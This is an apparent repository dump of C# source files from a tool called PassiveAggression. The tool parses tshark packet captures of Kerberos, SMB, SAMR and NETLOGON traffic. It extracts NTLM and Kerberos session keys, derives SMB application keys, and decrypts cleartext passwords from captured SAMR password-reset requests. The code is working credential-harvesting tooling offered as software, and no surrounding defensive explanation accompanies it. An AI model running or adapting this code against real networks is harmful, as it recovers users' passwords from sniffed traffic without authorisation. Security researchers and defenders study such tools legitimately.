| Parse(message); 28 | success = sessionKey.Length > 0; 29 | } 30 | catch 31 | { 32 | // Do nothing 33 | } 34 | } 35 | 36 | 37 | /// 38 | /// Parses data from message into structs. 39 | /// 40 | /// 41 | private void Parse(TSharkMessage message) 42 | { 43 | //// Set data to be correlated with in later packets 44 | connectionInfo = message.TCPInfo; 45 | 46 | var kerbKeys = message.FindNodesByName("kerberos.keyvalue"); //message["_source"]["layers"]["kerberos.keyvalue"]; 47 | 48 | // Return empty message when no keys are found 49 | if (kerbKeys == null) 50 | return; 51 | 52 | // It is possible that multiple keys are in the message. 53 | // This may result in duplicate keys, but we ignore that for now. 54 | sessionKey = new string[kerbKeys.Length]; 55 | for (int i = 0; i < kerbKeys.Length; i++) 56 | { 57 | // Make sure to remove delimiters 58 | sessionKey[i] = Misc.CleanHexData(kerbKeys[i]); 59 | } 60 | 61 | IsAck = message.DCERPC_PacketType == Enums.PKT_DCERPC.BINDACK; 62 | kerberosKeyType = message.FindNodeByName("kerberos.keytype"); 63 | 64 | 65 | } 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /PassiveAggression/Core/Events/SMBSessionNegotiation.cs: -------------------------------------------------------------------------------- 1 | using PassiveAgression.Core.Network; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using PassiveAgression.Core.Static; 8 | using static PassiveAgression.Core.Static.Enums; 9 | 10 | namespace PassiveAgression.Core.Events 11 | { 12 | public class SMBSessionNegotiation 13 | { 14 | 15 | public bool success { get; set; } 16 | 17 | public TCPConnectionInfo connectionInfo { get; set; } 18 | 19 | public SMB_Dialect SMB_Dialect; 20 | 21 | public SMBSessionNegotiation(TSharkMessage message) 22 | { 23 | try 24 | { 25 | Parse(message); 26 | success = true; 27 | } 28 | catch 29 | { 30 | // Do nothing 31 | } 32 | 33 | } 34 | 35 | /// 36 | /// Parses data from message into structs. 37 | /// 38 | /// 39 | private void Parse(TSharkMessage message) 40 | { 41 | //// Set data to be correlated with in later packets 42 | connectionInfo = message.TCPInfo; 43 | 44 | if (!message.SMBResponse) 45 | return; 46 | 47 | string SmbDialect = message.FindNodeByName("smb2.dialect"); 48 | int dialectNbr = Convert.ToInt32(SmbDialect, 16); 49 | SMB_Dialect = (Enums.SMB_Dialect)dialectNbr; 50 | 51 | } 52 | 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /PassiveAggression/Core/Events/SMBSessionSetup.cs: -------------------------------------------------------------------------------- 1 | using PassiveAgression.Core.Network; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace PassiveAgression.Core.Events 9 | { 10 | public class SMBSessionSetup 11 | { 12 | 13 | public struct SMB_Session_Crypto 14 | { 15 | public byte[] Label; 16 | public byte[] Context; 17 | public byte[] ApplicationKey; 18 | public byte[] NtlmSSPKey; 19 | 20 | } 21 | 22 | public bool success { get; set; } 23 | 24 | public TCPConnectionInfo connectionInfo { get; set; } 25 | 26 | public string smbSessionId { get; set; } 27 | 28 | public string baseSessionKey { get; set; } 29 | public string sessionKey { get; set; } 30 | public string ntlmSspSessionKey { get; set; } 31 | public string account { get; set; } 32 | public string Preauth_Hash { get; set; } 33 | 34 | public SMB_Session_Crypto SMBCrypto { get; set; } 35 | 36 | public SMBSessionSetup(TSharkMessage message) 37 | { 38 | try 39 | { 40 | Parse(message); 41 | success = !string.IsNullOrEmpty(Preauth_Hash) && !string.IsNullOrEmpty(smbSessionId) 42 | && !string.IsNullOrEmpty(ntlmSspSessionKey); 43 | } 44 | catch 45 | { 46 | // Do nothing 47 | } 48 | 49 | } 50 | 51 | /// 52 | /// Parses data from message into structs. 53 | /// 54 | /// 55 | private void Parse(TSharkMessage message) 56 | { 57 | connectionInfo = message.TCPInfo; 58 | smbSessionId = message.FindNodeByName("smb2.sesid"); 59 | 60 | var _preauthHash = message.FindNodeByName("smb2.preauth_hash"); 61 | var _sessionKey = message.FindNodeByName("ntlmssp.auth.sesskey"); 62 | 63 | if (string.IsNullOrEmpty(_preauthHash)) 64 | return; 65 | 66 | if (string.IsNullOrEmpty(_sessionKey)) 67 | return; 68 | 69 | Preauth_Hash = Misc.CleanHexData(_preauthHash); 70 | sessionKey = Misc.CleanHexData(_sessionKey); 71 | account = message.FindNodeByName("ntlmssp.auth.username"); 72 | 73 | var keyLines = 74 | message.FindNodesByName("_ws.expert.message"); 75 | 76 | 77 | if (keyLines != null) 78 | { 79 | // Extract keylines 80 | foreach (var keyLine in keyLines) 81 | { 82 | var _kline = keyLine.ToString(); 83 | if (_kline.Contains("NTLMSSP SessionKey")) 84 | { 85 | // Extract NTLMSSP sessionKey 86 | ntlmSspSessionKey = ExtractKeyFromKeyLine(_kline); 87 | } 88 | 89 | if (_kline.Contains("BaseSessionKey")) 90 | { 91 | // Extract basesessionkey 92 | baseSessionKey = ExtractKeyFromKeyLine(_kline); 93 | } 94 | 95 | } 96 | 97 | if (string.IsNullOrEmpty(ntlmSspSessionKey)) 98 | return; 99 | 100 | SMB_Session_Crypto Crypto = new SMB_Session_Crypto(); 101 | 102 | // Precaulcate crypto values. 103 | // We assume that if the preauth hash is present, dialect == 3.1.1 104 | // https://github.com/fortra/impacket/blob/master/impacket/smb3.py#L863 105 | byte[] context, label; 106 | context = Encoding.UTF8.GetBytes("SmbRpc\x00"); 107 | label = Encoding.UTF8.GetBytes("SMB2APP\x00"); 108 | if (!string.IsNullOrEmpty(Preauth_Hash)) 109 | { 110 | label = Encoding.UTF8.GetBytes("SMBAppKey\x00"); 111 | context = Misc.HexStringToBytes(Preauth_Hash); 112 | } 113 | 114 | Crypto.Context = context; 115 | Crypto.Label = label; 116 | Crypto.NtlmSSPKey = Misc.HexStringToBytes(ntlmSspSessionKey); 117 | Crypto.ApplicationKey = Core.Crypto.Signing.ComputeHMACSha256KDFCounterMode(Crypto.NtlmSSPKey, 118 | Crypto.Label, 119 | Crypto.Context, 128); 120 | SMBCrypto = Crypto; 121 | } 122 | 123 | 124 | 125 | } 126 | 127 | /// 128 | /// Extracts sessionkey from a keyline, such as: NTLMv2 BaseSessionKey (xxxxxxxxx) 129 | /// 130 | /// 131 | /// 132 | private static string ExtractKeyFromKeyLine(string keyLine) 133 | { 134 | var result = ""; 135 | try 136 | { 137 | result = keyLine.Split('(')[1].TrimEnd(')'); 138 | } 139 | catch (Exception e) 140 | { 141 | result = ""; 142 | } 143 | 144 | return result; 145 | } 146 | 147 | } 148 | 149 | } 150 | -------------------------------------------------------------------------------- /PassiveAggression/Core/Events/SamrSetInformationUser2.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using PassiveAgression.Core.Network; 7 | using PassiveAgression.Core.Win32; 8 | using static System.Runtime.InteropServices.JavaScript.JSType; 9 | 10 | namespace PassiveAgression.Core.Events 11 | { 12 | public class SamrSetInformationUser2 13 | { 14 | public bool success { get; set; } 15 | 16 | public TCPConnectionInfo connectionInfo { get; set; } 17 | 18 | public string smbSessionId { get; set; } 19 | 20 | public string ClearTextPassword { get; set; } 21 | 22 | Natives.SAMPR_ENCRYPTED_USER_PASSWORD_NEW cryptedData { get; set; } 23 | 24 | public string Username { get; set; } 25 | 26 | public SamrSetInformationUser2(TSharkMessage message) 27 | { 28 | try 29 | { 30 | Parse(message); 31 | success = true; 32 | } 33 | catch 34 | { 35 | // Do nothing 36 | } 37 | 38 | } 39 | 40 | /// 41 | /// Parses data from message into structs. 42 | /// 43 | /// 44 | private void Parse(TSharkMessage message) 45 | { 46 | //// Set data to be correlated with in later packets 47 | connectionInfo = message.TCPInfo; 48 | smbSessionId = message.FindNodeByName("smb2.sesid"); 49 | 50 | // Fetch crypted data 51 | string strBytes = message.FindNodeByName("samr.samr_UserInfo.info25_raw"); 52 | byte[] pwdResetBytes = Misc.HexStringToBytes(strBytes); 53 | 54 | byte[] passwordBuffer = pwdResetBytes[^532..pwdResetBytes.Length]; 55 | cryptedData = Misc.ReadStruct(passwordBuffer); 56 | } 57 | 58 | /// 59 | /// Decrypts encrypted data with keys negotiated in SMBSession 60 | /// 61 | /// 62 | /// cleartext string 63 | public string Decrypt(SMBSessionSetup SMBSessionInfo) 64 | { 65 | string result = string.Empty; 66 | 67 | int pwdLength, clearTxtPwdStart, clearTxtPwdEnd; 68 | 69 | byte[] digestData = Misc.MergeBlocks(cryptedData.ClearSalt, SMBSessionInfo.SMBCrypto.ApplicationKey); 70 | byte[] decryptionKey = Crypto.Signing.ComputeMD5Hash(digestData); 71 | 72 | byte[] decrypted = Crypto.RC4.TransformData(cryptedData.crypted, decryptionKey); 73 | 74 | // Last 4 bytes indicate lenth of string 75 | byte[] bPwdLength = decrypted[^4..decrypted.Length]; 76 | pwdLength = BitConverter.ToInt32(bPwdLength, 0); 77 | 78 | if (pwdLength < 0 && pwdLength > 255) 79 | { 80 | // Could not decrypt value 81 | return string.Empty; 82 | } 83 | 84 | byte[] clearTextPwd = new byte[pwdLength]; 85 | 86 | clearTxtPwdStart = decrypted.Length - (4 + pwdLength); 87 | clearTxtPwdEnd = decrypted.Length - 4; 88 | clearTextPwd = decrypted[clearTxtPwdStart..clearTxtPwdEnd]; 89 | 90 | ClearTextPassword = UnicodeEncoding.Unicode.GetString(clearTextPwd); 91 | 92 | return ClearTextPassword; 93 | } 94 | 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /PassiveAggression/Core/Misc.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Globalization; 4 | using System.Linq; 5 | using System.Runtime.InteropServices; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | using PassiveAgression.Core.Static; 9 | using static PassiveAgression.Core.Win32.Natives; 10 | 11 | namespace PassiveAgression.Core 12 | { 13 | internal class Misc 14 | { 15 | /// 16 | /// Converts hex stream to byte array. 17 | /// 18 | /// 19 | /// 20 | public static byte[] HexStringToBytes(string hex) 21 | { 22 | hex = hex.Replace(" ", ""); // Remove spaces if any 23 | byte[] bytes = new byte[hex.Length / 2]; 24 | 25 | for (int i = 0; i < hex.Length; i += 2) 26 | { 27 | bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16); 28 | } 29 | 30 | return bytes; 31 | } 32 | 33 | /// 34 | /// Concats 2 byte arrays 35 | /// 36 | /// 37 | /// 38 | public static byte[] ConcatByteArrays(params byte[][] arrays) 39 | { 40 | byte[] rv = new byte[arrays.Sum(a => a.Length)]; 41 | int offset = 0; 42 | foreach (byte[] array in arrays) 43 | { 44 | System.Buffer.BlockCopy(array, 0, rv, offset, array.Length); 45 | offset += array.Length; 46 | } 47 | return rv; 48 | } 49 | 50 | /// 51 | /// returns a string with ascii characters in the given byte array 52 | /// 53 | /// 54 | /// 55 | /// 56 | /// 57 | public static string GetAsciiCharacters(byte[] byteArray, int startIndex, int count) 58 | { 59 | StringBuilder asciiChars = new StringBuilder(); 60 | 61 | for (int i = startIndex; i < startIndex + count; i++) 62 | { 63 | if (i < byteArray.Length) 64 | { 65 | if (byteArray[i] >= 32 && byteArray[i] <= 126) 66 | { 67 | asciiChars.Append((char)byteArray[i]); 68 | } 69 | else 70 | { 71 | asciiChars.Append('.'); 72 | } 73 | } 74 | else 75 | { 76 | asciiChars.Append(' '); // Add padding for last line if needed 77 | } 78 | } 79 | 80 | return asciiChars.ToString(); 81 | } 82 | 83 | /// 84 | /// Thanks: https://www.codeproject.com/Articles/36747/Quick-and-Dirty-HexDump-of-a-Byte-Array 85 | /// 86 | /// 87 | /// 88 | public static void DisplayHexDump(byte[] bytes, int bytesPerLine = 16) 89 | { 90 | if (bytes == null) return; 91 | int bytesLength = bytes.Length; 92 | 93 | char[] HexChars = "0123456789ABCDEF".ToCharArray(); 94 | 95 | int firstHexColumn = 96 | 8 // 8 characters for the address 97 | + 3; // 3 spaces 98 | 99 | int firstCharColumn = firstHexColumn 100 | + bytesPerLine * 3 // - 2 digit for the hexadecimal value and 1 space 101 | + (bytesPerLine - 1) / 8 // - 1 extra space every 8 characters from the 9th 102 | + 2; // 2 spaces 103 | 104 | int lineLength = firstCharColumn 105 | + bytesPerLine // - characters to show the ascii value 106 | + Environment.NewLine.Length; // Carriage return and line feed (should normally be 2) 107 | 108 | char[] line = (new String(' ', lineLength - Environment.NewLine.Length) + Environment.NewLine).ToCharArray(); 109 | int expectedLines = (bytesLength + bytesPerLine - 1) / bytesPerLine; 110 | StringBuilder result = new StringBuilder(expectedLines * lineLength); 111 | 112 | for (int i = 0; i < bytesLength; i += bytesPerLine) 113 | { 114 | line[0] = HexChars[(i >> 28) & 0xF]; 115 | line[1] = HexChars[(i >> 24) & 0xF]; 116 | line[2] = HexChars[(i >> 20) & 0xF]; 117 | line[3] = HexChars[(i >> 16) & 0xF]; 118 | line[4] = HexChars[(i >> 12) & 0xF]; 119 | line[5] = HexChars[(i >> 8) & 0xF]; 120 | line[6] = HexChars[(i >> 4) & 0xF]; 121 | line[7] = HexChars[(i >> 0) & 0xF]; 122 | 123 | int hexColumn = firstHexColumn; 124 | int charColumn = firstCharColumn; 125 | 126 | for (int j = 0; j < bytesPerLine; j++) 127 | { 128 | if (j > 0 && (j & 7) == 0) hexColumn++; 129 | if (i + j >= bytesLength) 130 | { 131 | line[hexColumn] = ' '; 132 | line[hexColumn + 1] = ' '; 133 | line[charColumn] = ' '; 134 | } 135 | else 136 | { 137 | byte b = bytes[i + j]; 138 | line[hexColumn] = HexChars[(b >> 4) & 0xF]; 139 | line[hexColumn + 1] = HexChars[b & 0xF]; 140 | //line[charColumn] = (b < 32 ? '·' : (char)b); 141 | line[charColumn] = (b >= 32 && b <= 126 ? (char)b : '·'); 142 | } 143 | hexColumn += 3; 144 | charColumn++; 145 | } 146 | result.Append(line); 147 | } 148 | Console.WriteLine(result.ToString()); 149 | } 150 | 151 | /// 152 | /// Finds index of sequence of bytes in array 153 | /// 154 | /// 155 | /// 156 | /// 157 | public static int FindSequence(byte[] byteArray, byte[] sequenceToFind) 158 | { 159 | for (int i = 0; i <= byteArray.Length - sequenceToFind.Length; i++) 160 | { 161 | bool found = true; 162 | 163 | for (int j = 0; j < sequenceToFind.Length; j++) 164 | { 165 | if (byteArray[i + j] != sequenceToFind[j]) 166 | { 167 | found = false; 168 | break; 169 | } 170 | } 171 | 172 | if (found) 173 | { 174 | return i; 175 | } 176 | } 177 | 178 | return -1; // Sequence not found 179 | } 180 | 181 | /// 182 | /// Checks if all items in an array have the same value 183 | /// 184 | /// 185 | /// 186 | public static bool AllItemsAreSame(byte[] byteArray) 187 | { 188 | if (byteArray.Length == 0) 189 | { 190 | return true; // Empty array is considered to have the same items 191 | } 192 | 193 | byte firstValue = byteArray[0]; 194 | 195 | for (int i = 1; i < byteArray.Length; i++) 196 | { 197 | if (byteArray[i] != firstValue) 198 | { 199 | return false; 200 | } 201 | } 202 | 203 | return true; 204 | } 205 | 206 | /// 207 | /// Calculates CRC32 based on input 208 | /// 209 | /// 210 | /// 211 | public static uint CalcCrc32(byte[] data) 212 | { 213 | uint dwCRC = 0xFFFFFFFF; 214 | for (int i = 0; i < data.Length; i++) 215 | { 216 | dwCRC = (dwCRC >> 8) ^ Static.Win32.dwCrc32Table[(data[i]) ^ (dwCRC & 0x000000FF)]; 217 | } 218 | dwCRC = ~dwCRC; 219 | return dwCRC; 220 | } 221 | 222 | /// 223 | /// Converts a byte array with signed bytes to an array with unsigned bytes 224 | /// 225 | /// 226 | /// 227 | public static byte[] ConvertSignedByteArrayToUnsigned(sbyte[] data) 228 | { 229 | byte[] unsignedByteArray = new byte[data.Length]; 230 | 231 | for (int i = 0; i < data.Length; i++) 232 | { 233 | unsignedByteArray[i] = (byte)data[i]; 234 | } 235 | 236 | return unsignedByteArray; 237 | } 238 | 239 | /// 240 | /// Returns a human readable form of samaccounttype 241 | /// 242 | /// 243 | /// 244 | public static string SamAccountTypeToString(uint accountType) 245 | { 246 | SamAccountType sat = (SamAccountType)accountType; 247 | return sat.ToString(); 248 | } 249 | 250 | /// 251 | /// Encodes given bytes into a struct of type T 252 | /// 253 | /// 254 | /// 255 | /// 256 | public static T ReadStruct(byte[] array) 257 | where T : struct 258 | { 259 | 260 | GCHandle handle = GCHandle.Alloc(array, GCHandleType.Pinned); 261 | var mystruct = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T)); 262 | handle.Free(); 263 | 264 | return mystruct; 265 | } 266 | 267 | /// 268 | /// Reads memory from given Ptr and returns encoded struct of type T 269 | /// 270 | /// 271 | /// 272 | /// 273 | public static T ReadStruct(IntPtr addr) 274 | where T : struct 275 | { 276 | T str = (T)Marshal.PtrToStructure(addr, typeof(T)); 277 | 278 | return str; 279 | } 280 | 281 | /// 282 | /// Returns human readable string of given bytearray 283 | /// 284 | /// 285 | /// 286 | public static string PrintHashBytes(byte[] byteArray) 287 | { 288 | if (byteArray == null) 289 | return string.Empty; 290 | 291 | StringBuilder res = new StringBuilder(byteArray.Length * 2); 292 | for (int i = 0; i < byteArray.Length; i++) 293 | { 294 | res.AppendFormat(NumberFormatInfo.InvariantInfo, "{0:x2}", byteArray[i]); 295 | } 296 | return res.ToString(); 297 | } 298 | 299 | public static byte[] MergeBlocks(byte[] block1, byte[] block2) 300 | { 301 | byte[] outBlock = new byte[block1.Length + block2.Length]; 302 | Array.Copy(block1, outBlock, block1.Length); 303 | Array.Copy(block2, 0, outBlock, block1.Length, block2.Length); 304 | 305 | return outBlock; 306 | } 307 | 308 | /// 309 | /// Removes colons and dashes from hexstring 310 | /// 311 | /// 312 | /// 313 | public static string CleanHexData(string hashData) 314 | { 315 | if (!string.IsNullOrEmpty(hashData)) 316 | return hashData.Replace(":", "").Replace("-", ""); 317 | 318 | return hashData; 319 | } 320 | 321 | /// 322 | /// Converts the given ATTId from Big Engian to Little Endian 323 | /// This can be used to lookup the existence of an ATTId in a stream that is LE 324 | /// 325 | /// 326 | /// 327 | public static string GetAttIdInLEHexString(Enums.ATTIds att) 328 | { 329 | string hexUnicodePwd = att.ToString("X"); 330 | 331 | byte[] bytes = Enumerable.Range(0, hexUnicodePwd.Length) 332 | .Where(x => x % 2 == 0) 333 | .Select(x => Convert.ToByte(hexUnicodePwd.Substring(x, 2), 16)) 334 | .ToArray(); 335 | 336 | Array.Reverse(bytes); 337 | 338 | // Convert the byte array back to a hex string 339 | return BitConverter.ToString(bytes).Replace("-", ""); 340 | } 341 | 342 | /// 343 | /// Reads wchars from a byte array and returns the unicode string 344 | /// 345 | /// 346 | /// 347 | public static string ReadWChars(ref byte[] data) 348 | { 349 | int length = 0; 350 | 351 | // Determine the length of the null-terminated string. 352 | while (data[length] != 0 || data[length + 1] != 0) 353 | { 354 | length += 2; // Assuming a null-terminated wide character string. 355 | } 356 | 357 | // we do know the length of the handle now 358 | string w_string = System.Text.Encoding.Unicode.GetString(data, 0, length); 359 | 360 | return w_string; 361 | } 362 | 363 | public static int FieldOffset(string fieldName) 364 | { 365 | return Marshal.OffsetOf(typeof(T), fieldName).ToInt32(); 366 | } 367 | 368 | 369 | } 370 | } 371 | -------------------------------------------------------------------------------- /PassiveAggression/Core/Network/TSharkMessage.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json.Linq; 2 | using PassiveAgression.Core.Static; 3 | using System.Reflection.Metadata.Ecma335; 4 | using System.Runtime.Serialization; 5 | using static PassiveAgression.Core.Static.Enums; 6 | using static PassiveAgression.Core.Win32.Natives; 7 | 8 | namespace PassiveAgression.Core.Network 9 | { 10 | 11 | public struct TCPConnectionInfo 12 | { 13 | public string SourceIP; 14 | public string DestinationIP; 15 | public int SourcePort; 16 | public int DestinationPort; 17 | public int StreamIndex; 18 | } 19 | 20 | public class TSharkMessage 21 | { 22 | 23 | /// 24 | /// Cache descendants to prevent re-requesting the same items 25 | /// 26 | private IEnumerable DescendantsAndSelf; 27 | 28 | private JObject _tsharkMessage; 29 | 30 | private string rawJson; 31 | 32 | #region Generic TCPFields 33 | public int StreamIndex 34 | { 35 | get 36 | { 37 | return FindNodeByName("tcp.stream"); 38 | } 39 | } 40 | 41 | public string SourceIP 42 | { 43 | get 44 | { 45 | return FindNodeByName("ip.src"); 46 | } 47 | } 48 | 49 | public string DestinationIP 50 | { 51 | get 52 | { 53 | return FindNodeByName("ip.dst"); 54 | } 55 | } 56 | 57 | public int SourcePort 58 | { 59 | get 60 | { 61 | return FindNodeByName("tcp.srcport"); 62 | } 63 | } 64 | 65 | public int DestinationPort 66 | { 67 | get 68 | { 69 | return FindNodeByName("tcp.dstport"); 70 | } 71 | } 72 | 73 | public TCPConnectionInfo TCPInfo 74 | { 75 | get 76 | { 77 | return new TCPConnectionInfo 78 | { 79 | DestinationIP = DestinationIP, 80 | DestinationPort = DestinationPort, 81 | SourceIP = SourceIP, 82 | SourcePort = SourcePort, 83 | StreamIndex = StreamIndex, 84 | }; 85 | } 86 | } 87 | 88 | #endregion 89 | 90 | #region SAMR 91 | 92 | public Enums.OP_SAMR SAMR_Opnum 93 | { 94 | get 95 | { 96 | return (Enums.OP_SAMR)FindNodeByName("samr.opnum"); 97 | } 98 | } 99 | 100 | #endregion 101 | 102 | #region DCERPC 103 | 104 | public Enums.OP_DCERPC DCERPC_Opnum 105 | { 106 | get 107 | { 108 | return (Enums.OP_DCERPC)FindNodeByName("dcerpc.opnum"); 109 | } 110 | } 111 | 112 | public Enums.PKT_DCERPC DCERPC_PacketType 113 | { 114 | get 115 | { 116 | return (Enums.PKT_DCERPC)FindNodeByName("dcerpc.pkt_type"); 117 | } 118 | } 119 | 120 | #endregion 121 | 122 | #region NETLOGON 123 | 124 | public Enums.OP_NETLOGON NETLOGON_Opnum 125 | { 126 | get 127 | { 128 | return (Enums.OP_NETLOGON)FindNodeByName("netlogon.opnum"); 129 | } 130 | } 131 | 132 | 133 | #endregion 134 | 135 | #region SMB 136 | 137 | public Enums.SMB_CMD SMB_CMD 138 | { 139 | get 140 | { 141 | return (Enums.SMB_CMD)FindNodeByName("smb2.cmd"); 142 | } 143 | } 144 | 145 | public SMB2_FLAGS SMB2Flags 146 | { 147 | get 148 | { 149 | uint flag = uint.MinValue; 150 | 151 | string smbflag = FindNodeByName("smb2.flags"); 152 | if (!string.IsNullOrEmpty(smbflag)) 153 | flag = Convert.ToUInt32(smbflag, 16); 154 | 155 | SMB2_FLAGS smbflags = (SMB2_FLAGS)flag; 156 | return smbflags; 157 | } 158 | } 159 | 160 | /// 161 | /// True if message is an SMB request 162 | /// 163 | public bool SMBRequest 164 | { 165 | get 166 | { 167 | return !SMB2Flags.HasFlag(SMB2_FLAGS.SMB2_FLAGS_SERVER_TO_REDIR); 168 | } 169 | } 170 | 171 | /// 172 | /// True is message is an SMB response 173 | /// 174 | public bool SMBResponse 175 | { 176 | get 177 | { 178 | return SMB2Flags.HasFlag(SMB2_FLAGS.SMB2_FLAGS_SERVER_TO_REDIR); 179 | } 180 | } 181 | 182 | #endregion 183 | 184 | public TSharkMessage(string message) 185 | { 186 | _tsharkMessage = JObject.Parse(message); 187 | rawJson = message; 188 | } 189 | 190 | /// 191 | /// Finds node in JObject and returns the value of type T 192 | /// 193 | /// 194 | /// 195 | /// 196 | public T FindNodeByName(string nodeName) 197 | { 198 | if (null == DescendantsAndSelf) 199 | DescendantsAndSelf = _tsharkMessage.DescendantsAndSelf(); 200 | 201 | foreach (var token in DescendantsAndSelf) 202 | { 203 | if (token is JProperty property && property.Name == nodeName) 204 | { 205 | JToken jVal; 206 | bool isJArray = property.Type == JTokenType.Array; 207 | int numItem = property.Value.Count(); 208 | 209 | if (!isJArray && numItem < 2) 210 | { 211 | jVal = property.Value; 212 | if (jVal.Type == JTokenType.Array) 213 | jVal = jVal.First(); 214 | } 215 | else 216 | { 217 | jVal = property.Value[0]; 218 | } 219 | 220 | return GetValue(jVal); 221 | } 222 | } 223 | 224 | // Make sure to return int.MinValue, since 0 will refer 225 | // to items in element of flags 226 | if (typeof(T) == typeof(int)) 227 | { 228 | return (T)(object)(int.MinValue); 229 | } 230 | 231 | if (typeof(T) == typeof(uint)) 232 | { 233 | return (T)(object)(uint.MinValue); 234 | } 235 | 236 | return default(T); 237 | } 238 | 239 | /// 240 | /// Finds nodes in JObject and returns array with values of type T 241 | /// 242 | /// 243 | /// 244 | /// 245 | public T[] FindNodesByName(string nodeName) 246 | { 247 | if (null == DescendantsAndSelf) 248 | DescendantsAndSelf = _tsharkMessage.DescendantsAndSelf(); 249 | 250 | foreach (var token in DescendantsAndSelf) 251 | { 252 | if (token is JProperty property && property.Name == nodeName) 253 | { 254 | int items = property.Value.Count() > 1 ? property.Value.Count() : 1; 255 | // return array 256 | T[] retArray = new T[items]; 257 | for (int i = 0; i < items; i++) 258 | { 259 | JToken jVal = items > 1 ? property.Value[i] : property.Value; 260 | retArray[i] = GetValue(jVal); 261 | } 262 | return retArray; 263 | } 264 | 265 | } 266 | return default(T[]); 267 | } 268 | 269 | /// 270 | /// Checks if message contains a specific node 271 | /// 272 | /// 273 | public bool ContainsNode(string nodeName) 274 | { 275 | if (null == DescendantsAndSelf) 276 | DescendantsAndSelf = _tsharkMessage.DescendantsAndSelf(); 277 | 278 | foreach (var token in DescendantsAndSelf) 279 | { 280 | if (token is JProperty property && property.Name == nodeName) 281 | { 282 | return true; 283 | } 284 | } 285 | 286 | return false; 287 | } 288 | 289 | 290 | private T GetValue(JToken token) 291 | { 292 | if (token is JValue jValue) 293 | { 294 | try 295 | { 296 | return (T)Convert.ChangeType(jValue.Value, typeof(T)); 297 | } 298 | catch (InvalidCastException) 299 | { 300 | return default(T); 301 | } 302 | } 303 | return default(T); 304 | } 305 | } 306 | 307 | 308 | } 309 | -------------------------------------------------------------------------------- /PassiveAggression/Core/Static/Win32.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace PassiveAgression.Core.Static 8 | { 9 | internal class Win32 10 | { 11 | internal static uint[] dwCrc32Table = new uint[] 12 | { 13 | 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 14 | 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, 15 | 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 16 | 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 17 | 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 18 | 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 19 | 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 20 | 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, 21 | 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 22 | 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 23 | 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 24 | 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 25 | 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 26 | 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, 27 | 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 28 | 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 29 | 30 | 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 31 | 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, 32 | 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 33 | 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, 34 | 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 35 | 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 36 | 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 37 | 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, 38 | 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 39 | 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 40 | 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 41 | 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 42 | 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 43 | 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, 44 | 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 45 | 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 46 | 47 | 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 48 | 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 49 | 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 50 | 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 51 | 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 52 | 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, 53 | 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 54 | 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 55 | 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 56 | 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, 